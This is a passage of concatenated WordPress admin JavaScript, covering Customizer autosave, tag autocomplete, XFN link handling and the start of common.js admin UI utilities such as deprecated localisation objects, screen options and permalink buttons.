				isMobileScreen = $( window ).width() <= 640;
			}
			api.state( 'editShortcutVisibility' ).set( isPaneVisible || isMobileScreen ? 'visible' : 'hidden' );
		} );
		if ( window.matchMedia ) {
			window.matchMedia( 'screen and ( max-width: 640px )' ).addListener( function() {
				var state = api.state( 'paneVisible' );
				state.callbacks.fireWith( state, [ state.get(), state.get() ] );
			} );
		}
		api.previewer.bind( 'edit-shortcut-visibility', function( visibility ) {
			api.state( 'editShortcutVisibility' ).set( visibility );
		} );
		api.state( 'editShortcutVisibility' ).bind( function( visibility ) {
			api.previewer.send( 'edit-shortcut-visibility', visibility );
		} );

		// Autosave changeset.
		function startAutosaving() {
			var timeoutId, updateChangesetWithReschedule, scheduleChangesetUpdate, updatePending = false;

			api.unbind( 'change', startAutosaving ); // Ensure startAutosaving only fires once.

			function onChangeSaved( isSaved ) {
				if ( ! isSaved && ! api.settings.changeset.autosaved ) {
					api.settings.changeset.autosaved = true; // Once a change is made then autosaving kicks in.
					api.previewer.send( 'autosaving' );
				}
			}
			api.state( 'saved' ).bind( onChangeSaved );
			onChangeSaved( api.state( 'saved' ).get() );

			/**
			 * Request changeset update and then re-schedule the next changeset update time.
			 *
			 * @since 4.7.0
			 * @private
			 */
			updateChangesetWithReschedule = function() {
				if ( ! updatePending ) {
					updatePending = true;
					api.requestChangesetUpdate( {}, { autosave: true } ).always( function() {
						updatePending = false;
					} );
				}
				scheduleChangesetUpdate();
			};

			/**
			 * Schedule changeset update.
			 *
			 * @since 4.7.0
			 * @private
			 */
			scheduleChangesetUpdate = function() {
				clearTimeout( timeoutId );
				timeoutId = setTimeout( function() {
					updateChangesetWithReschedule();
				}, api.settings.timeouts.changesetAutoSave );
			};

			// Start auto-save interval for updating changeset.
			scheduleChangesetUpdate();

			// Save changeset when focus removed from window.
			$( document ).on( 'visibilitychange.wp-customize-changeset-update', function() {
				if ( document.hidden ) {
					updateChangesetWithReschedule();
				}
			} );

			// Save changeset before unloading window.
			$( window ).on( 'beforeunload.wp-customize-changeset-update', function() {
				updateChangesetWithReschedule();
			} );
		}
		api.bind( 'change', startAutosaving );

		// Make sure TinyMCE dialogs appear above Customizer UI.
		$( document ).one( 'tinymce-editor-setup', function() {
			if ( window.tinymce.ui.FloatPanel && ( ! window.tinymce.ui.FloatPanel.zIndex || window.tinymce.ui.FloatPanel.zIndex < 500001 ) ) {
				window.tinymce.ui.FloatPanel.zIndex = 500001;
			}
		} );

		body.addClass( 'ready' );
		api.trigger( 'ready' );
	});

})( wp, jQuery );
/**
 * Default settings for jQuery UI Autocomplete for use with non-hierarchical taxonomies.
 *
 * @output wp-admin/js/tags-suggest.js
 */
( function( $ ) {
	var tempID = 0;
	var separator = wp.i18n._x( ',', 'tag delimiter' ) || ',';
	var __ = wp.i18n.__,
	    _n = wp.i18n._n,
	    sprintf = wp.i18n.sprintf;

	function split( val ) {
		return val.split( new RegExp( separator + '\\s*' ) );
	}

	function getLast( term ) {
		return split( term ).pop();
	}

	/**
	 * Add UI Autocomplete to an input or textarea element with presets for use
	 * with non-hierarchical taxonomies.
	 *
	 * Example: `$( element ).wpTagsSuggest( options )`.
	 *
	 * The taxonomy can be passed in a `data-wp-taxonomy` attribute on the element or
	 * can be in `options.taxonomy`.
	 *
	 * @since 4.7.0
	 *
	 * @param {Object} options Options that are passed to UI Autocomplete. Can be used to override the default settings.
	 * @return {Object} jQuery instance.
	 */
	$.fn.wpTagsSuggest = function( options ) {
		var cache;
		var last;
		var $element = $( this );

		// Do not initialize if the element doesn't exist.
		if ( ! $element.length ) {
			return this;
		}

		options = options || {};

		var taxonomy = options.taxonomy || $element.attr( 'data-wp-taxonomy' ) || 'post_tag';

		delete( options.taxonomy );

		options = $.extend( {
			source: function( request, response ) {
				var term;

				if ( last === request.term ) {
					response( cache );
					return;
				}

				term = getLast( request.term );

				$.get( window.ajaxurl, {
					action: 'ajax-tag-search',
					tax: taxonomy,
					q: term,
					number: 20
				} ).always( function() {
					$element.removeClass( 'ui-autocomplete-loading' ); // UI fails to remove this sometimes?
				} ).done( function( data ) {
					var tagName;
					var tags = [];

					if ( data ) {
						data = data.split( '\n' );

						for ( tagName in data ) {
							var id = ++tempID;

							tags.push({
								id: id,
								name: data[tagName]
							});
						}

						cache = tags;
						response( tags );
					} else {
						response( tags );
					}
				} );

				last = request.term;
			},
			focus: function( event, ui ) {
				$element.attr( 'aria-activedescendant', 'wp-tags-autocomplete-' + ui.item.id );

				// Don't empty the input field when using the arrow keys
				// to highlight items. See api.jqueryui.com/autocomplete/#event-focus
				event.preventDefault();
			},
			select: function( event, ui ) {
				var tags = split( $element.val() );
				// Remove the last user input.
				tags.pop();
				// Append the new tag and an empty element to get one more separator at the end.
				tags.push( ui.item.name, '' );

				$element.val( tags.join( separator + ' ' ) );

				if ( $.ui.keyCode.TAB === event.keyCode ) {
					// Audible confirmation message when a tag has been selected.
					window.wp.a11y.speak( wp.i18n.__( 'Term selected.' ), 'assertive' );
					event.preventDefault();
				} else if ( $.ui.keyCode.ENTER === event.keyCode ) {
					// If we're in the edit post Tags meta box, add the tag.
					if ( window.tagBox ) {
						window.tagBox.userAction = 'add';
						window.tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
					}

					// Do not close Quick Edit / Bulk Edit.
					event.preventDefault();
					event.stopPropagation();
				}

				return false;
			},
			open: function() {
				$element.attr( 'aria-expanded', 'true' );
			},
			close: function() {
				$element.attr( 'aria-expanded', 'false' );
			},
			minLength: 2,
			position: {
				my: 'left top+2',
				at: 'left bottom',
				collision: 'none'
			},
			messages: {
				noResults: __( 'No results found.' ),
				results: function( number ) {
					return sprintf(
						/* translators: %d: Number of search results found. */
						_n(
							'%d result found. Use up and down arrow keys to navigate.',
							'%d results found. Use up and down arrow keys to navigate.',
							number
						),
						number
					);
				}
			}
		}, options );

		$element.on( 'keydown', function() {
			$element.removeAttr( 'aria-activedescendant' );
		} );

		$element.autocomplete( options );

		// Ensure the autocomplete instance exists.
		if ( ! $element.autocomplete( 'instance' ) ) {
			return this;
		}

		$element.autocomplete( 'instance' )._renderItem = function( ul, item ) {
			return $( '<li role="option" id="wp-tags-autocomplete-' + item.id + '">' )
				.text( item.name )
				.appendTo( ul );
		};

		$element.attr( {
			'role': 'combobox',
			'aria-autocomplete': 'list',
			'aria-expanded': 'false',
			'aria-owns': $element.autocomplete( 'widget' ).attr( 'id' )
		} )
		.on( 'focus', function() {
			var inputValue = split( $element.val() ).pop();

			// Don't trigger a search if the field is empty.
			// Also, avoids screen readers announce `No search results`.
			if ( inputValue ) {
				$element.autocomplete( 'search' );
			}
		} );

		// Returns a jQuery object containing the menu element.
		$element.autocomplete( 'widget' )
			.addClass( 'wp-tags-autocomplete' )
			.attr( 'role', 'listbox' )
			.removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI.

			/*
			 * Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301.
			 * The `menufocus` and `menublur` events are the same events used to add and remove
			 * the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget.
			 */
			.on( 'menufocus', function( event, ui ) {
				ui.item.attr( 'aria-selected', 'true' );
			})
			.on( 'menublur', function() {
				// The `menublur` event returns an object where the item is `null`,
				// so we need to find the active item with other means.
				$( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' );
			});

		return this;
	};

}( jQuery ) );
/*! This file is auto-generated */
jQuery(function(l){l("#link_rel").prop("readonly",!0),l("#linkxfndiv input").on("click keyup",function(){var e=l("#me").is(":checked"),i="";l("input.valinp").each(function(){e?l(this).prop("disabled",!0).parent().addClass("disabled"):(l(this).removeAttr("disabled").parent().removeClass("disabled"),l(this).is(":checked")&&""!==l(this).val()&&(i+=l(this).val()+" "))}),l("#link_rel").val(e?"me":i.substr(0,i.length-1))})});/**
 * @output wp-admin/js/common.js
 */

/* global setUserSetting, ajaxurl, alert, confirm, pagenow */
/* global columns, screenMeta */

/**
 *  Adds common WordPress functionality to the window.
 *
 *  @param {jQuery} $        jQuery object.
 *  @param {Object} window   The window object.
 *  @param {mixed} undefined Unused.
 */
( function( $, window, undefined ) {
	var $document = $( document ),
		$window = $( window ),
		$body = $( document.body ),
		__ = wp.i18n.__,
		sprintf = wp.i18n.sprintf;

/**
 * Throws an error for a deprecated property.
 *
 * @since 5.5.1
 *
 * @param {string} propName    The property that was used.
 * @param {string} version     The version of WordPress that deprecated the property.
 * @param {string} replacement The property that should have been used.
 */
function deprecatedProperty( propName, version, replacement ) {
	var message;

	if ( 'undefined' !== typeof replacement ) {
		message = sprintf(
			/* translators: 1: Deprecated property name, 2: Version number, 3: Alternative property name. */
			__( '%1$s is deprecated since version %2$s! Use %3$s instead.' ),
			propName,
			version,
			replacement
		);
	} else {
		message = sprintf(
			/* translators: 1: Deprecated property name, 2: Version number. */
			__( '%1$s is deprecated since version %2$s with no alternative available.' ),
			propName,
			version
		);
	}

	window.console.warn( message );
}

/**
 * Deprecate all properties on an object.
 *
 * @since 5.5.1
 * @since 5.6.0 Added the `version` parameter.
 *
 * @param {string} name       The name of the object, i.e. commonL10n.
 * @param {object} l10nObject The object to deprecate the properties on.
 * @param {string} version    The version of WordPress that deprecated the property.
 *
 * @return {object} The object with all its properties deprecated.
 */
function deprecateL10nObject( name, l10nObject, version ) {
	var deprecatedObject = {};

	Object.keys( l10nObject ).forEach( function( key ) {
		var prop = l10nObject[ key ];
		var propName = name + '.' + key;

		if ( 'object' === typeof prop ) {
			Object.defineProperty( deprecatedObject, key, { get: function() {
				deprecatedProperty( propName, version, prop.alternative );
				return prop.func();
			} } );
		} else {
			Object.defineProperty( deprecatedObject, key, { get: function() {
				deprecatedProperty( propName, version, 'wp.i18n' );
				return prop;
			} } );
		}
	} );

	return deprecatedObject;
}

window.wp.deprecateL10nObject = deprecateL10nObject;

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.6.0
 * @deprecated 5.5.0
 */
window.commonL10n = window.commonL10n || {
	warnDelete: '',
	dismiss: '',
	collapseMenu: '',
	expandMenu: ''
};

window.commonL10n = deprecateL10nObject( 'commonL10n', window.commonL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.3.0
 * @deprecated 5.5.0
 */
window.wpPointerL10n = window.wpPointerL10n || {
	dismiss: ''
};

window.wpPointerL10n = deprecateL10nObject( 'wpPointerL10n', window.wpPointerL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.3.0
 * @deprecated 5.5.0
 */
window.userProfileL10n = window.userProfileL10n || {
	warn: '',
	warnWeak: '',
	show: '',
	hide: '',
	cancel: '',
	ariaShow: '',
	ariaHide: ''
};

window.userProfileL10n = deprecateL10nObject( 'userProfileL10n', window.userProfileL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.6
 * @deprecated 5.5.0
 */
window.privacyToolsL10n = window.privacyToolsL10n || {
	noDataFound: '',
	foundAndRemoved: '',
	noneRemoved: '',
	someNotRemoved: '',
	removalError: '',
	emailSent: '',
	noExportFile: '',
	exportError: ''
};

window.privacyToolsL10n = deprecateL10nObject( 'privacyToolsL10n', window.privacyToolsL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.6.0
 * @deprecated 5.5.0
 */
window.authcheckL10n = {
	beforeunload: ''
};

window.authcheckL10n = window.authcheckL10n || deprecateL10nObject( 'authcheckL10n', window.authcheckL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.8.0
 * @deprecated 5.5.0
 */
window.tagsl10n = {
	noPerm: '',
	broken: ''
};

window.tagsl10n = window.tagsl10n || deprecateL10nObject( 'tagsl10n', window.tagsl10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.adminCommentsL10n = window.adminCommentsL10n || {
	hotkeys_highlight_first: {
		alternative: 'window.adminCommentsSettings.hotkeys_highlight_first',
		func: function() { return window.adminCommentsSettings.hotkeys_highlight_first; }
	},
	hotkeys_highlight_last: {
		alternative: 'window.adminCommentsSettings.hotkeys_highlight_last',
		func: function() { return window.adminCommentsSettings.hotkeys_highlight_last; }
	},
	replyApprove: '',
	reply: '',
	warnQuickEdit: '',
	warnCommentChanges: '',
	docTitleComments: '',
	docTitleCommentsCount: ''
};

window.adminCommentsL10n = deprecateL10nObject( 'adminCommentsL10n', window.adminCommentsL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.tagsSuggestL10n = window.tagsSuggestL10n || {
	tagDelimiter: '',
	removeTerm: '',
	termSelected: '',
	termAdded: '',
	termRemoved: ''
};

window.tagsSuggestL10n = deprecateL10nObject( 'tagsSuggestL10n', window.tagsSuggestL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.5.0
 * @deprecated 5.5.0
 */
window.wpColorPickerL10n = window.wpColorPickerL10n || {
	clear: '',
	clearAriaLabel: '',
	defaultString: '',
	defaultAriaLabel: '',
	pick: '',
	defaultLabel: ''
};

window.wpColorPickerL10n = deprecateL10nObject( 'wpColorPickerL10n', window.wpColorPickerL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.attachMediaBoxL10n = window.attachMediaBoxL10n || {
	error: ''
};

window.attachMediaBoxL10n = deprecateL10nObject( 'attachMediaBoxL10n', window.attachMediaBoxL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.postL10n = window.postL10n || {
	ok: '',
	cancel: '',
	publishOn: '',
	publishOnFuture: '',
	publishOnPast: '',
	dateFormat: '',
	showcomm: '',
	endcomm: '',
	publish: '',
	schedule: '',
	update: '',
	savePending: '',
	saveDraft: '',
	'private': '',
	'public': '',
	publicSticky: '',
	password: '',
	privatelyPublished: '',
	published: '',
	saveAlert: '',
	savingText: '',
	permalinkSaved: ''
};

window.postL10n = deprecateL10nObject( 'postL10n', window.postL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.inlineEditL10n = window.inlineEditL10n || {
	error: '',
	ntdeltitle: '',
	notitle: '',
	comma: '',
	saved: ''
};

window.inlineEditL10n = deprecateL10nObject( 'inlineEditL10n', window.inlineEditL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.plugininstallL10n = window.plugininstallL10n || {
	plugin_information: '',
	plugin_modal_label: '',
	ays: ''
};

window.plugininstallL10n = deprecateL10nObject( 'plugininstallL10n', window.plugininstallL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.0.0
 * @deprecated 5.5.0
 */
window.navMenuL10n = window.navMenuL10n || {
	noResultsFound: '',
	warnDeleteMenu: '',
	saveAlert: '',
	untitled: ''
};

window.navMenuL10n = deprecateL10nObject( 'navMenuL10n', window.navMenuL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.commentL10n = window.commentL10n || {
	submittedOn: '',
	dateFormat: ''
};

window.commentL10n = deprecateL10nObject( 'commentL10n', window.commentL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.9.0
 * @deprecated 5.5.0
 */
window.setPostThumbnailL10n = window.setPostThumbnailL10n || {
	setThumbnail: '',
	saving: '',
	error: '',
	done: ''
};

window.setPostThumbnailL10n = deprecateL10nObject( 'setPostThumbnailL10n', window.setPostThumbnailL10n, '5.5.0' );

/**
 * Removed in 6.5.0, needed for back-compatibility.
 *
 * @since 4.5.0
 * @deprecated 6.5.0
 */
window.uiAutocompleteL10n = window.uiAutocompleteL10n || {
	noResults: '',
	oneResult: '',
	manyResults: '',
	itemSelected: ''
};

window.uiAutocompleteL10n = deprecateL10nObject( 'uiAutocompleteL10n', window.uiAutocompleteL10n, '6.5.0' );

/**
 * Removed in 3.3.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 3.3.0
 */
window.adminMenu = {
	init : function() {},
	fold : function() {},
	restoreMenuState : function() {},
	toggle : function() {},
	favorites : function() {}
};

// Show/hide/save table columns.
window.columns = {

	/**
	 * Initializes the column toggles in the screen options.
	 *
	 * Binds an onClick event to the checkboxes to show or hide the table columns
	 * based on their toggled state. And persists the toggled state.
	 *
	 * @since 2.7.0
	 *
	 * @return {void}
	 */
	init : function() {
		var that = this;
		$('.hide-column-tog', '#adv-settings').on( 'click', function() {
			var $t = $(this), column = $t.val();
			if ( $t.prop('checked') )
				that.checked(column);
			else
				that.unchecked(column);

			columns.saveManageColumnsState();
		});
	},

	/**
	 * Saves the toggled state for the columns.
	 *
	 * Saves whether the columns should be shown or hidden on a page.
	 *
	 * @since 3.0.0
	 *
	 * @return {void}
	 */
	saveManageColumnsState : function() {
		var hidden = this.hidden();
		$.post(ajaxurl, {
			action: 'hidden-columns',
			hidden: hidden,
			screenoptionnonce: $('#screenoptionnonce').val(),
			page: pagenow
		});
	},

	/**
	 * Makes a column visible and adjusts the column span for the table.
	 *
	 * @since 3.0.0
	 * @param {string} column The column name.
	 *
	 * @return {void}
	 */
	checked : function(column) {
		$('.column-' + column).removeClass( 'hidden' );
		this.colSpanChange(+1);
	},

	/**
	 * Hides a column and adjusts the column span for the table.
	 *
	 * @since 3.0.0
	 * @param {string} column The column name.
	 *
	 * @return {void}
	 */
	unchecked : function(column) {
		$('.column-' + column).addClass( 'hidden' );
		this.colSpanChange(-1);
	},

	/**
	 * Gets all hidden columns.
	 *
	 * @since 3.0.0
	 *
	 * @return {string} The hidden column names separated by a comma.
	 */
	hidden : function() {
		return $( '.manage-column[id]' ).filter( '.hidden' ).map(function() {
			return this.id;
		}).get().join( ',' );
	},

	/**
	 * Gets the checked column toggles from the screen options.
	 *
	 * @since 3.0.0
	 *
	 * @return {string} String containing the checked column names.
	 */
	useCheckboxesForHidden : function() {
		this.hidden = function(){
			return $('.hide-column-tog').not(':checked').map(function() {
				var id = this.id;
				return id.substring( id, id.length - 5 );
			}).get().join(',');
		};
	},

	/**
	 * Adjusts the column span for the table.
	 *
	 * @since 3.1.0
	 *
	 * @param {number} diff The modifier for the column span.
	 */
	colSpanChange : function(diff) {
		var $t = $('table').find('.colspanchange'), n;
		if ( !$t.length )
			return;
		n = parseInt( $t.attr('colspan'), 10 ) + diff;
		$t.attr('colspan', n.toString());
	}
};

$( function() { columns.init(); } );

/**
 * Validates that the required form fields are not empty.
 *
 * @since 2.9.0
 *
 * @param {jQuery} form The form to validate.
 *
 * @return {boolean} Returns true if all required fields are not an empty string.
 */
window.validateForm = function( form ) {
	return !$( form )
		.find( '.form-required' )
		.filter( function() { return $( ':input:visible', this ).val() === ''; } )
		.addClass( 'form-invalid' )
		.find( ':input:visible' )
		.on( 'change', function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } )
		.length;
};

// Stub for doing better warnings.
/**
 * Shows message pop-up notice or confirmation message.
 *
 * @since 2.7.0
 *
 * @type {{warn: showNotice.warn, note: showNotice.note}}
 *
 * @return {void}
 */
window.showNotice = {

	/**
	 * Shows a delete confirmation pop-up message.
	 *
	 * @since 2.7.0
	 *
	 * @return {boolean} Returns true if the message is confirmed.
	 */
	warn : function() {
		if ( confirm( __( 'You are about to permanently delete these items from your site.\nThis action cannot be undone.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
			return true;
		}

		return false;
	},

	/**
	 * Shows an alert message.
	 *
	 * @since 2.7.0
	 *
	 * @param text The text to display in the message.
	 */
	note : function(text) {
		alert(text);
	}
};

/**
 * Represents the functions for the meta screen options panel.
 *
 * @since 3.2.0
 *
 * @type {{element: null, toggles: null, page: null, init: screenMeta.init,
 *         toggleEvent: screenMeta.toggleEvent, open: screenMeta.open,
 *         close: screenMeta.close}}
 *
 * @return {void}
 */
window.screenMeta = {
	element: null, // #screen-meta
	toggles: null, // .screen-meta-toggle
	page:    null, // #wpcontent

	/**
	 * Initializes the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @return {void}
	 */
	init: function() {
		this.element = $('#screen-meta');
		this.toggles = $( '#screen-meta-links' ).find( '.show-settings' );
		this.page    = $('#wpcontent');

		this.toggles.on( 'click', this.toggleEvent );
	},

	/**
	 * Toggles the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @return {void}
	 */
	toggleEvent: function() {
		var panel = $( '#' + $( this ).attr( 'aria-controls' ) );

		if ( !panel.length )
			return;

		if ( panel.is(':visible') )
			screenMeta.close( panel, $(this) );
		else
			screenMeta.open( panel, $(this) );
	},

	/**
	 * Opens the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @param {jQuery} panel  The screen meta options panel div.
	 * @param {jQuery} button The toggle button.
	 *
	 * @return {void}
	 */
	open: function( panel, button ) {

		$( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' );

		panel.parent().show();

		/**
		 * Sets the focus to the meta options panel and adds the necessary CSS classes.
		 *
		 * @since 3.2.0
		 *
		 * @return {void}
		 */
		panel.slideDown( 'fast', function() {
			panel.removeClass( 'hidden' ).trigger( 'focus' );
			button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true );
		});

		$document.trigger( 'screen:options:open' );
	},

	/**
	 * Closes the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @param {jQuery} panel  The screen meta options panel div.
	 * @param {jQuery} button The toggle button.
	 *
	 * @return {void}
	 */
	close: function( panel, button ) {
		/**
		 * Hides the screen meta options panel.
		 *
		 * @since 3.2.0
		 *
		 * @return {void}
		 */
		panel.slideUp( 'fast', function() {
			button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false );
			$('.screen-meta-toggle').css('visibility', '');
			panel.parent().hide();
			panel.addClass( 'hidden' );
		});

		$document.trigger( 'screen:options:close' );
	}
};

/**
 * Initializes the help tabs in the help panel.
 *
 * @param {Event} e The event object.
 *
 * @return {void}
 */
$('.contextual-help-tabs').on( 'click', 'a', function(e) {
	var link = $(this),
		panel;

	e.preventDefault();

	// Don't do anything if the click is for the tab already showing.
	if ( link.is('.active a') )
		return false;

	// Links.
	$('.contextual-help-tabs .active').removeClass('active');
	link.parent('li').addClass('active');

	panel = $( link.attr('href') );

	// Panels.
	$('.help-tab-content').not( panel ).removeClass('active').hide();
	panel.addClass('active').show();
});

/**
 * Update custom permalink structure via buttons.
 */
var permalinkStructureFocused = false,
    $permalinkStructure       = $( '#permalink_structure' ),
    $permalinkStructureInputs = $( '.permalink-structure input:radio' ),
    $permalinkCustomSelection = $( '#custom_selection' ),
    $availableStructureTags   = $( '.form-table.permalink-structure .available-structure-tags button' );

// Change permalink structure input when selecting one of the common structures.
$permalinkStructureInputs.on( 'change', function() {
	if ( 'custom' === this.value ) {
		return;
	}

	$permalinkStructure.val( this.value );

	// Update button states after selection.
	$availableStructureTags.each( function() {
		changeStructureTagButtonState( $( this ) );
	} );
} );

$permalinkStructure.on( 'click input', function() {
	$permalinkCustomSelection.prop( 'checked', true );
} );

// Check if the permalink structure input field has had focus at least once.
$permalinkStructure.on( 'focus', function( event ) {
	permalinkStructureFocused = true;
	$( this ).off( event );
} );

/**
 * Enables or disables a structure tag button depending on its usage.
 *
 * If the structure is already used in the custom permalink structure,
 * it will be disabled.
 *
 * @param {Object} button Button jQuery object.
 */
function changeStructureTagButtonState( button ) {
	if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) {
		button.attr( 'data-label', button.attr( 'aria-label' ) );
		button.attr( 'aria-label', button.attr( 'data-used' ) );
		button.attr( 'aria-pressed', true );
		button.addClass( 'active' );
	} else if ( button.attr( 'data-label' ) ) {
		button.attr( 'aria-label', button.attr( 'data-label' ) );
		button.attr( 'aria-pressed', false );
		button.removeClass( 'active' );
	}
}

// Check initial button state.
$availableStructureTags.each( function() {
	changeStructureTagButtonState( $( this ) );
} );

// Observe permalink structure field and disable buttons of tags that are already present.
$permalinkStructure.on( 'change', function() {
	$availableStructureTags.each( function() {
		changeStructureTagButtonState( $( this ) );
	} );
} );

$availableStructureTags.on( 'click', function() {
	var permalinkStructureValue = $permalinkStructure.val(),
	    selectionStart          = $permalinkStructure[ 0 ].selectionStart,
	    selectionEnd            = $permalinkStructure[ 0 ].selectionEnd,
	    textToAppend            = $( this ).text().trim(),
	    textToAnnounce,
	    newSelectionStart;

	if ( $( this ).hasClass( 'active' ) ) {
		textToAnnounce = $( this ).attr( 'data-removed' );
	} else {
		textToAnnounce = $( this ).attr( 'data-added' );
	}

	// Remove structure tag if already part of the structure.
	if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) {
		permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' );

		$permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue );

		// Announce change to screen readers.
		$( '#custom_selection_updated' ).text( textToAnnounce );

		// Disable button.
		changeStructureTagButtonState( $( this ) );

		return;
	}

	// Input field never had focus, move selection to end of input.
	if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) {
		selectionStart = selectionEnd = permalinkStructureValue.length;
	}

	$permalinkCustomSelection.prop( 'checked', true );

	// Prepend and append slashes if necessary.
	if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) {
		textToAppend = '/' + textToAppend;
	}

	if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) {
		textToAppend = textToAppend + '/';
	}

	// Insert structure tag at the specified position.
	$permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) );

	// Announce change to screen readers.
	$( '#custom_selection_updated' ).text( textToAnnounce );

	// Disable button.
	changeStructureTagButtonState( $( this ) );

	// If input had focus give it back with cursor right after appended text.
	if ( permalinkStructureFocused && $permalinkStructure[0].setSelectionRange ) {
		newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length;
		$permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart );
		$permalinkStructure.trigger( 'focus' );
	}
} );

$( function() {
	var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions,
		lastClicked = false,
		pageInput = $('input.current-page'),
		currentPage = pageInput.val(),
		isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ),
		isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1,
		$adminMenuWrap = $( '#adminmenuwrap' ),
		$wpwrap = $( '#wpwrap' ),
		$adminmenu = $( '#adminmenu' ),
		$overlay = $( '#wp-responsive-overlay' ),
		$toolbar = $( '#wp-toolbar' ),
		$toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ),
		$sortables = $('.meta-box-sortables'),
		wpResponsiveActive = false,
		$adminbar = $( '#wpadminbar' ),
		lastScrollPosition = 0,
		pinnedMenuTop = false,
		pinnedMenuBottom = false,
		menuTop = 0,
		menuState,
		menuIsPinned = false,
		height = {
			window: $window.height(),
			wpwrap: $wpwrap.height(),
			adminbar: $adminbar.height(),
			menu: $adminMenuWrap.height()
		},
		$headerEnd = $( '.wp-header-end' );

	/**
	 * Makes the fly-out submenu header clickable, when the menu is folded.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
	 */
	$adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){
		$(e.target).parent().siblings('a').get(0).click();
	});

	/**
	 * Collapses the admin menu.
	 *
	 * @return {void}
	 */
	$( '#collapse-button' ).on( 'click.collapse-menu', function() {
		var viewportWidth = getViewportWidth() || 961;

		// Reset any compensation for submenus near the bottom of the screen.
		$('#adminmenu div.wp-submenu').css('margin-top', '');

		if ( viewportWidth <= 960 ) {
			if ( $body.hasClass('auto-fold') ) {
				$body.removeClass('auto-fold').removeClass('folded');
				setUserSetting('unfold', 1);
				setUserSetting('mfold', 'o');
				menuState = 'open';
			} else {
				$body.addClass('auto-fold');
				setUserSetting('unfold', 0);
				menuState = 'folded';
			}
		} else {
			if ( $body.hasClass('folded') ) {
				$body.removeClass('folded');
				setUserSetting('mfold', 'o');
				menuState = 'open';
			} else {
				$body.addClass('folded');
				setUserSetting('mfold', 'f');
				menuState = 'folded';
			}
		}

		$document.trigger( 'wp-collapse-menu', { state: menuState } );
	});

	/**
	 * Handles the `aria-haspopup` attribute on the current menu item when it has a submenu.
	 *
	 * @since 4.4.0
	 *
	 * @return {void}
	 */
	function currentMenuItemHasPopup() {
		var $current = $( 'a.wp-has-current-submenu' );

		if ( 'folded' === menuState ) {
			// When folded or auto-folded and not responsive view, the current menu item does have a fly-out sub-menu.
			$current.attr( 'aria-haspopup', 'true' );
		} else {
			// When expanded or in responsive view, reset aria-haspopup.
			$current.attr( 'aria-haspopup', 'false' );
		}
	}

	$document.on( 'wp-menu-state-set wp-collapse-menu wp-responsive-activate wp-responsive-deactivate', currentMenuItemHasPopup );

	/**
	 * Ensures an admin submenu is within the visual viewport.
	 *
	 * @since 4.1.0
	 *
	 * @param {jQuery} $menuItem The parent menu item containing the submenu.
	 *
	 * @return {void}
	 */
	function adjustSubmenu( $menuItem ) {
		var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop,
			$submenu = $menuItem.find( '.wp-submenu' );

		menutop = $menuItem.offset().top;
		wintop = $window.scrollTop();
